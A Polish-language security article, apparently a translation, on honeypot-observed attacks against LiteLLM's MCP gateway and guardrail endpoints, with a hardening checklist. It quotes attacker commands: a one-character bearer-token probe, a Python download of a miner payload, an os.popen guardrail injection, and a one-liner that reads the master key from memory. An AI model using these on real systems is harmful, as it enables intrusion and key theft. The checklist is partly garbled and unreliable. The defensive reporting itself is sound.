Jak token o długości jednego znaku umożliwił dostęp do bramy MCP w LiteLLM
Honeypoty złapały atakujących, którzy wykorzystywali obejście autoryzacji LiteLLM MCP oraz błąd w wykonywaniu kodu. Poniżej znajduje się łańcuch ataku oraz sześcioskładnikowa lista kontrolna w celu wzmocnienia zabezpieczeń.
Źródła: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
W ciągu 90 dni firma Wiz Research uruchomiła serwery przynętowe wzorowane na rzeczywistych narzędziach AI, takich jak LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI i Node-RED, oraz rejestrowała, kto próbuje nawiązać połączenie. Rzeczywiście pojawiły się ataki. Głównym problemem nie był błąd typu zero-day, lecz błąd w mechanizmie obsługi błędów w protokole Model Context Protocol (MCP) używanym przez LiteLLM, który interpretował tekst „Nie rozpoznaję tego tokena” jako „Ten token jest w porządku”. Wystarczył token o długości jednego znaku, aby uzyskać dostęp. LiteLLM to popularny gateway umożliwiający aplikacjom komunikację z kilkoma dostawcami modeli przez jeden endpoint, dlatego zespoły go używające powinny przeznaczyć na to dziesięć minut.
Ominięcie poprzez jeden znak
Błąd ten jest odnotowany jako CVE-2026-59822. Koniec MCP w LiteLLM ma za zadanie zweryfikować token Bearer przed otwarciem dostępu do każdego serwera MCP połączonego z organizacją, takiego jak Jira, Slack, bazy danych wewnętrzne oraz pipeline’y CI/CD. W przypadku tego błędu token, który nie przeszedł standardowej weryfikacji LiteLLM, spowodował błąd 401; kod przechwycił ten błąd i zwrócił pusty obiekt autoryzacji. Pusty nie oznacza odmowy – oznacza, że autoryzacja nastąpiła jako „nikt konkretny”, a warstwa MCP to zaakceptowała.
Zapytanie wysłane przez atakujących było tak małe, jak tylko to możliwe:
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
Jeśli odpowiedź zawierała nagłówek mcp-session-id, sesja była otwarta, umożliwiając dostęp do wszystkich narzędzi MCP, do których mogł się dostąpić proxy, przy braku ważnych uprawnień. Honeypoty rejestrowały próby nawiązania połączenia w czasie rzeczywistym, a ten problem trafił na listę znanych wykorzystanych luk bezpieczeństwa CISA.
Od otwartej sesji do minera kryptowalut
Sama otwarta sesja MCP była już problemem, ale atakujący łączyli ją z innymi metodami ataku. Wiz udokumentował sposób obejścia bezpieczeństwa, który prowadził do CVE-2026-42271 – błędu typu injection poleceń w punktach końcowych testowych i konfiguracyjnych MCP, przy którym sfałszowana konfiguracja serwera powodowała wykonywanie niebezpiecznych podprocesów. Schemat ataku był prosty: rejestrowano fałszywą konfigurację MCP, która uruchamiała polecenia do pobrania i wykonywania minera kryptowalut, a następnie usuwano katalog tymczasowy, aby zwykłe polecenie ls nic nie pokazywało. Typowy krok pobierania wyglądał w ten sposób:
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Część tych działań była powiązana z grupą ransomware Qilin. Zwyczaje unikania wykrycia są ważniejsze niż numery CVE. Minerzy byli umieszczani w katalogu /tmp/.dbus-cache/, pliki binarne były przemieniane na nazwy takie jak unicorn, a w jednej z kampanii payload został umieszczony w katalogu /app/data/.claude/ – folderze utworzonym tak, by przypominał katalog konfiguracyjny Claude Code – aby wyglądało to jak standardowe narzędzie, a nie intruzja.
Drugi błąd: wykonywanie kodu przez mechanizmy ochronne
LiteLLM miał oddzielny, równie poważny problem, CVE-2026-59821, związany z dostosowanymi zasadami bezpieczeństwa. Ta funkcja umożliwia administratorom przesyłanie fragmentów kodu w Pythonie, które sprawdzają przychodzące żądania. Koniec punktu przesyłania kodu kompilował i wykonywał ten fragment za pomocą exec(compile(...)), pozostawiając nienaruszony obiekt __builtins__ i umożliwiając dowolne importy. Sesja administracyjna lub sesja nieautoryzowana, jak opisano dalej, mogła w ten sposób zarejestrować fałszywą zasadę bezpieczeństwa, na przykład:
import os
_cmd = os.popen('id').read().strip()
i otrzymuje wynik wykonywania polecenia z powrotem w polu block-reason w późniejszej odpowiedzi. Wersja 1.82.0 naprawia ten problem poprzez wymuszenie roli admina na punktach końcowych guardrail oraz poprzez usunięcie __builtins__ przed kompilacją. Przy starszej wersji naprawa jest pilna, ponieważ następny problem pogorszy sytuację.
Domyślna konfiguracja, która umożliwiła działanie
Cechą, która sprawia, że to jest incydent, a nie zwykłe naprawienie: przy braku ustawionej klucza głównego LiteLLM traktował każdego użytkownika jako PROXY_ADMIN. Nie była to dostępność tylko do odczytu ani ograniczona. Był to pełny dostęp administratora, włączając punkt końcowy guardrails, a wiele instancji nigdy nie ustawiało takiego klucza. Gdy badacze skanowali publiczne instancje, około jedna na dziesięć (9,6% z 3 074) nadal używała standardowego klucza sk-1234 lub w ogóle nic nie sprawdzała. Dodając omijanie mechanizmu MCP oraz błąd w wykonywaniu funkcji guardrails, powstało kilka niezależnych, łatwych sposobów na dostęp do jednej maszyny.
Szukanie pamięci, a nie plików
Wiz nazywa to dalsze działanie „AI-native post-exploitation”, a ta specyficzna dla AI część to właśnie to, czego szukali atakujący po uzyskaniu dostępu do systemu. Dążyli do pamięci bieżącego procesu, a nie do plików na dysku:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Ta jedna linia odczytuje główny klucz proxy’u bezpośrednio z pamięci, bez dostępu do dysku. Następnie intruzi wymienili ścieżki konfiguracji, takie jak /app/litellm_config.yaml i ~/.litellm/config.yaml, ustalili, jakie modele backendowe są podłączone, i wybrali cele na podstawie tego, do czego może dotrzeć proxy. Taki bramkarz jest cenniejszy niż zwykły serwer aplikacji. Dane telemetryczne Wiz pokazały, że jeden proxy często przechowuje jednocześnie klucze do OpenAI, Anthropic, Azure OpenAI i Gemini, więc jeden odczyt z pamięci ujawnia informacje o czterech dostawcach.
Lista kontrolna zamiast numerów CVE
- Sprawdź wersję. LiteLLM 1.84.0 lub nowsza naprawia problem obejścia mechanizmu MCP, a 1.82.0 lub nowsza naprawia błąd w wykonywaniu zasad bezpieczeństwa. Jeśli jesteś w tyle z obiema wersjami, zaplanuj popołudnie na aktualizację.
sk-1234 ani pusty. Uruchom echo $LITELLM_MASTER_KEY i upewnij się, że nie jest to domyślna wartość z tutoriali wklejona dawno temu.PROXY_ADMIN. Po zastosowaniu patcha domyślną rolą staje się INTERNAL_USER, ale istniejące implementacje nie są automatycznie obniżane do tej roli, więc ręcznie sprawdź przydziały ról.curl lub python3 -c, częściej niż w jakichkolwiek logach dostępu.Brama AI zasługuje na traktowanie jako prawdziwy skarbiec uprawnień, a nie jako prosty proxy ustawiony raz i zapomniany. Błąd autoryzacyjny nie był niczym egzotycznym – była to instrukcja try/except, która pochłaniała niewłaściwy błąd, a atakujący już wykorzystali to w praktyce.
Literatura pokrewna
- Prywatny „drugi mózg” AI: lokalne RAG z AnythingLLM, Ollama i Obsidian — Ustaw AnythingLLM oraz model embedding na drugiej maszynie wirtualnej Proxmox, aby lokalny model Mistral 7B mógł przeszukiwać notatki w Obsidian, podając dokładne dane dotyczące zużywanych zasobów.
- Sandboxing agenta programistycznego i utrzymywanie lekkiego okna kontekstowego — Dodaj sandbox typu Seatbelt lub Bubblewrap do agenta oraz zarządzaj kontekstem za pomocą plików pomocniczych, szablonów, procesu kompresji oraz iniekcji danych w późnym etapie przy zachowaniu zgodności z mechanizmem cache.